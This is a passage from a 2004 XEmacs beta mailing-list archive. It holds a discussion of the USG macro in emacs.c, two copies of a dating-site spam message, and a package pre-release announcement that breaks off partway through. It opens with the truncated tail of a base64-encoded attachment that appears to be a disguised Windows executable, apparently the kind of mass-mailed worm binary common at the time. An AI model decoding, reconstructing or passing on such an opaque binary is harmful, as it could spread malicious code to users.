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 TGEM5SFpBveLpzSNsv42znXHFgKux8o7Y988wJpP7ALynwERegh1b3VveA4efgyMwXhFdbVC lybCg1abyU9fUUZtmSONnTMYqZnQjCOc6UsSISYAeO0YweBPIPwQp8qvC0A4Iw6qEAjBiWYc F9/7dSZKfA4sA7ic8vdXZRtjhfqb+/QlSSdeiFtZ638dhZpslnxrrOyWCkQC9zv5ThE1c+hq 9gjgnzjc1aqhTcNgOo4dPSKRHGSEK1bixnOSMwNr2we84tNGyphKUZekD4uOEwYY0NJ75CnO tudCWdCoGNDFAKx6ySH9tODWM0upDR0qepLdNbId4nRLjwAAAQACACAgEAABAAQA6AIAAAEA KAAAACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAMz//wBoV1gAAAAAAICA gAD///8AwMDAAP8AAAAA//8AvwAAAAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiIRIi IiIiIiIiIiIiIiIiIiE1VVVVVVVVVVVVVSUiIiIjRERERERERERERERSUiIiI0RERERERFVU REVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERElURESVRSUiIiI0SIiIiIRElVVVlUUlIi IiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlUUlIiIiNEiIiI iIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNERERERERERERE RFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIj RERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJSIiIjRDIiIiJE iIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRCd3JERERERERS UiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERERERSUiIiI0RE REREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIiIiQzQzQzQzQz QzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH 4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzoMEABacD9QwPA BcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAoi/BoyMA3D7dF CFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyKNAiIg/j7v1QB dQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwIfXgEii4JEWd6 ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs4PtOjNcUvEb3 AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0YTAJamXoMrv+ EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2dSLGAxU4NXxQ UVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQCXQkEENVJ2yX zo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTNMGJKnwpT2WtZ TrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1+GVy9m8AbmZp Zzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDOEQQN6Ba+EX2k Dnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIHQQIGEwqOQigB dwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4BceMBUB7ADrQRS AzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZuFb6/KWELHEEd Vp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFweUlSm+R0RkTA JFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5UUJNDz+5uNA0Y TGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAA ------=_NextPart_000_0016----=_NextPart_000_0016-- From xemacs-beta-admin@xemacs.org Sat Apr 24 13:04:23 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3OH45s15296; Sat, 24 Apr 2004 13:04:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3OH3pP15024 for xemacs-beta-mailman@xemacs.org; Sat, 24 Apr 2004 13:03:51 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3OH3ox14993 for turnbull@tux.org; Sat, 24 Apr 2004 13:03:50 -0400 Received: from lakermmtao02.cox.net (lakermmtao02.cox.net [68.230.240.37]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3OH3ns14988 for ; Sat, 24 Apr 2004 13:03:49 -0400 Received: from cox.net ([68.224.196.240]) by lakermmtao02.cox.net (InterMail vM.6.01.03.02 201-2131-111-104-20040324) with ESMTP id <20040424170348.UGTC21610.lakermmtao02.cox.net@cox.net>; Sat, 24 Apr 2004 13:03:48 -0400 Message-ID: <408A9DED.8000203@cox.net> Date: Sat, 24 Apr 2004 13:03:41 -0400 From: "David A. Cobb" User-Agent: Mozilla Thunderbird 0.6+ (Windows/20040418) X-Accept-Language: en-us, en MIME-Version: 1.0 To: james.mcpherson@optusnet.com.au CC: skip@pobox.com, XEmacs Beta Subject: Re: [Bug: 21.4.15] [DUBIOUS] switch in emacs.c References: <7wsmeumm95.fsf@cox.net> <16521.35400.13298.36138@montanaro.dyndns.org> <408A195B.10807@optusnet.com.au> In-Reply-To: <408A195B.10807@optusnet.com.au> Content-Type: multipart/mixed; boundary="------------040107040101060803050700" X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , This is a multi-part message in MIME format. --------------040107040101060803050700 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit James C. McPherson wrote: > Skip Montanaro wrote: > >> >> Prowling around in emacs.c trying to sort out why display_use is >> >> forked in my installation (but not Volker's), I come across the >> >> following --- >> >> >> #ifdef USG_SHARED_LIBRARIES >> >> /* If nonzero, this is the place to put the end of the >> writable segment >> >> at startup. */ >> >> >> uintptr_t bss_end = 0; >> >> #endif >> >> >> Now, when I've had to play around with configure scripts, these >> >> switches are usually named USE_THIS_OPTION, not USG_THIS_OPTION. >> >> I believe "USG" refers to a Unix dialect (System V basically). It's >> not a >> misspelling of "USE". > > > Skip, > you are correct. The acronym refers to the > > Unix Systems Group > > which was part of what Novell bought from AT&T during the "Unix Wars" > > > > James IIRC, that was USL -- Unix Systems Lab. Heaven knows we see enough of this history because of the SCOX fiasco. Anyhow, you can see why it's confusing. -- David A. Cobb, Software Engineer, Public Access Advocate "By God's Grace, I am a Christian man; by my actions a great sinner." -- The Way of a Pilgrim: R.French, Tr. Life is too short to tolerate crappy software! --------------040107040101060803050700 Content-Type: text/x-vcard; charset=utf8; name="Superbiskit.vcf" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="Superbiskit.vcf" begin:vcard fn:David A. Cobb n:Cobb;David A. adr:;;7 Lenox Av #1;West Warwick;RI;02893-3918;USA email;internet:Superbiskit@cox.net title:Independent Software Consultant note:PGP Key ID#0x4C293929 effective 01/28/2004 x-mozilla-html:TRUE version:2.1 end:vcard --------------040107040101060803050700-- From xemacs-beta-admin@xemacs.org Sat Apr 24 14:29:08 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3OIT2s31454; Sat, 24 Apr 2004 14:29:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3OIStm31304 for xemacs-beta-mailman@xemacs.org; Sat, 24 Apr 2004 14:28:55 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3OISsQ31288 for turnbull@tux.org; Sat, 24 Apr 2004 14:28:54 -0400 Received: from wambamboo.com (p4-7130.uk2net.com [213.232.93.75]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3OISss31276 for ; Sat, 24 Apr 2004 14:28:54 -0400 Received: from wambamboo.com (p4-7130 [127.0.0.1]) by wambamboo.com (8.12.8/8.12.8) with ESMTP id i3OIsAtp032425 for ; Sat, 24 Apr 2004 19:54:10 +0100 Received: (from nobody@localhost) by wambamboo.com (8.12.8/8.12.8/Submit) id i3OIsAaH032421; Sat, 24 Apr 2004 19:54:10 +0100 Date: Sat, 24 Apr 2004 19:54:10 +0100 Message-Id: <200404241854.i3OIsAaH032421@wambamboo.com> To: xemacs-beta@xemacs.org Reply-to: The Wambamboo Team From: The Wambamboo Team Subject: Special Invitation to Join a Fantastic New Chinese/Asian Dating Site X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=2.8 required=5.0 tests=AWL,BLANK_LINES_70_80, DEAR_FRIEND autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Dear Friend We would like to take this opportunity to invite you to register with a fantastic new dating site for the Chinese/Asian community which can be found at www.wambamboo.com As a promotional offer, all users will receive a Platinum membership free of charge! Our site features a number of sophisticated and fun features such as profile matching, message service, instant chat, personal agony aunt, discussion forum, events and photo/video/audio capabilities. You can use the site for networking, making new friends or even finding your perfect partner, the choice is entirely up to you! We look forward to welcoming you as a member. Kind regards The Wambamboo Team www.wambamboo.com – Matching the hearts of Asia From xemacs-beta-admin@xemacs.org Sat Apr 24 15:25:11 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3OJP6s20355; Sat, 24 Apr 2004 15:25:06 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3OJOjt20033 for xemacs-beta-mailman@xemacs.org; Sat, 24 Apr 2004 15:24:45 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3OJOiM20015 for turnbull@tux.org; Sat, 24 Apr 2004 15:24:44 -0400 Received: from wambamboo.com (p4-7130.uk2net.com [213.232.93.75]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3OJOis20002 for ; Sat, 24 Apr 2004 15:24:44 -0400 Received: from wambamboo.com (p4-7130 [127.0.0.1]) by wambamboo.com (8.12.8/8.12.8) with ESMTP id i3OJo1tp001933 for ; Sat, 24 Apr 2004 20:50:01 +0100 Received: (from nobody@localhost) by wambamboo.com (8.12.8/8.12.8/Submit) id i3OJo1PH001926; Sat, 24 Apr 2004 20:50:01 +0100 Date: Sat, 24 Apr 2004 20:50:01 +0100 Message-Id: <200404241950.i3OJo1PH001926@wambamboo.com> To: xemacs-beta@xemacs.org Reply-to: The Wambamboo Team From: The Wambamboo Team Subject: Special Invitation to Join a Fantastic New Chinese/Asian Dating Site X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=2.4 required=5.0 tests=AWL,BLANK_LINES_70_80, DEAR_FRIEND autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Dear Friend We would like to take this opportunity to invite you to register with a fantastic new dating site for the Chinese/Asian community which can be found at www.wambamboo.com As a promotional offer, all users will receive a Platinum membership free of charge! Our site features a number of sophisticated and fun features such as profile matching, message service, instant chat, personal agony aunt, discussion forum, events and photo/video/audio capabilities. You can use the site for networking, making new friends or even finding your perfect partner, the choice is entirely up to you! We look forward to welcoming you as a member. Kind regards The Wambamboo Team www.wambamboo.com – Matching the hearts of Asia From xemacs-beta-admin@xemacs.org Sat Apr 24 19:15:24 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3ONF3s11656; Sat, 24 Apr 2004 19:15:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3ONE6H10497 for xemacs-beta-mailman@xemacs.org; Sat, 24 Apr 2004 19:14:06 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3ONE5h10472 for turnbull@tux.org; Sat, 24 Apr 2004 19:14:05 -0400 Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3ONE4s10458 for ; Sat, 24 Apr 2004 19:14:04 -0400 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BHWLR-0005Q0-00 for ; Sun, 25 Apr 2004 01:14:01 +0200 Received: from p508d373d.dip.t-dialin.net ([80.141.55.61]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 25 Apr 2004 01:14:01 +0200 Received: from sven by p508d373d.dip.t-dialin.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 25 Apr 2004 01:14:01 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: xemacs-beta@xemacs.org From: Sven Grundmann Subject: Re: [Q21.4] completion list to wide bug fixed Date: Sun, 25 Apr 2004 01:13:52 +0200 Lines: 7 Message-ID: References: <3c6ulb24.fsf@smtpmail.t-online.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: p508d373d.dip.t-dialin.net User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Security Through Obscurity, cygwin32) Cancel-Lock: sha1:FxU/UnE1krlpT7O2HMfr9jahNd4= X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hello Vin, That is very nice, thank you ! Best regards Sven From xemacs-beta-admin@xemacs.org Sun Apr 25 06:45:10 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3PAj3s20105; Sun, 25 Apr 2004 06:45:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3PAiZH19808 for xemacs-beta-mailman@xemacs.org; Sun, 25 Apr 2004 06:44:35 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3PAiXv19774 for turnbull@tux.org; Sun, 25 Apr 2004 06:44:33 -0400 Received: from mailout06.sul.t-online.com (mailout06.sul.t-online.com [194.25.134.19]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3PAiWs19762 for ; Sun, 25 Apr 2004 06:44:32 -0400 Received: from fwd08.aul.t-online.de by mailout06.sul.t-online.com with smtp id 1BHh7f-0007Hq-00; Sun, 25 Apr 2004 12:44:31 +0200 Received: from redqueen.ath.cx.t-online.de (VakLFoZEreYqIPV8-M0Gv5VvKCUFGMneXNa8BYwQrHd1d1rRKtnEY+@[217.230.15.155]) by fwd08.sul.t-online.com with esmtp id 1BHh7J-2AU0y80; Sun, 25 Apr 2004 12:44:09 +0200 To: xemacs-beta@xemacs.org Subject: XEmacs Packages have been pre-released (2004-04-25-12) From: viteno@t-online.de (Norbert Koch) X-Face: 5*nyF1\39:,h6Sk1<}(t1O5x!y5y6@XzBRq5LAYj;Xzb*Ak,]@$HL@>: c&#dUFU=U8O(+/6T0k{j{1~uS@GVk4zurEEb.~MoSbG2pM4z!~/<@.tcd `uD`fNR+TM\@++x@!/Bq)24"xD_kGn,jqwVQa|R'|FFxgWa+$0x]p>KE9E /Xk0$%a*2*K]"zOtbk9v0sNgwb2H"IOaEjCVolb5&yW`o#w2}!w!M{Dn&{K0t Mail-Followup-To: xemacs-beta@xemacs.org User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.5 (chayote, berkeley-unix) Date: Sun, 25 Apr 2004 12:44:07 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: VakLFoZEreYqIPV8-M0Gv5VvKCUFGMneXNa8BYwQrHd1d1rRKtnEY+ X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hey there everyone. I have just added the following packages to the 'Pre-Releases' directory: New Packages in Pre-Release: =========================== edit-utils-2.12-pkg.tar.gz upstream version: none Previously Announced Packages Still in Pre-Release: ================================================== c-support-1.20-pkg.tar.gz upstream version: none ecb-1.18-pkg.tar.gz upstream version: 2.24 ecrypto-0.17-pkg.tar.gz upstream version: 2.0 ediff-1.50-pkg.tar.gz upstream version: 2.75 erc-0.08-pkg.tar.gz upstream version: Version 4.0 Revision: 1.640 escreen-1.01-pkg.tar.gz upstream version: 1.16 fortran-modes-1.04-pkg.tar.gz upstream version: none hyperbole-1.15-pkg.tar.gz upstream version: 4.18 mail-lib-1.65-pkg.tar.gz upstream version: none mmm-mode-1.02-pkg.tar.gz upstream version: 0.4.7 net-utils-1.42-pkg.tar.gz upstream version: N/A prog-modes-1.96-pkg.tar.gz upstream version: none ps-print-1.10-pkg.tar.gz upstream version: 6.5.6 python-modes-1.06-pkg.tar.gz upstream version: none reftex-1.34-pkg.tar.gz upstream version: 4.21 text-modes-1.76-pkg.tar.gz upstream version: none vhdl-1.19-pkg.tar.gz upstream version: 3.32.20 x-symbol-1.10-pkg.tar.gz upstream version: 4.5.1 xemacs-base-1.86-pkg.tar.gz upstream version: none xemacs-devel-1.62-pkg.tar.gz upstream version: none xlib-1.08-pkg.tar.gz upstream version: 0.1 xwem-1.08-pkg.tar.gz upstream version: 0.1 Detailed Changes: ================ - ------- ChangeLog Entries from xemacs-packages/edit-utils/ChangeLog ------- 2004-04-25 Norbert Koch * Makefile (VERSION): XEmacs package 2.12 released. 2004-04-25 Jeff Mincy * man.el (manual-entry): Document '-k' option. Accept fewer characters of output in apropos-mode. (Manual-nuke-nroff-bs): Handle rman correctly. 2004-04-24 Adrian Aichner * align.el: Sync align.el with current GNU Emacs CVS to fix bug in align-region. * align.el (align-rules-list): Typo fix. * align.el (align-exclude-rules-list): Ditto. * align.el (align-region): Bug fix. Installing These: ================ Manually: - -------- 1) Download the packages that you want to install from: 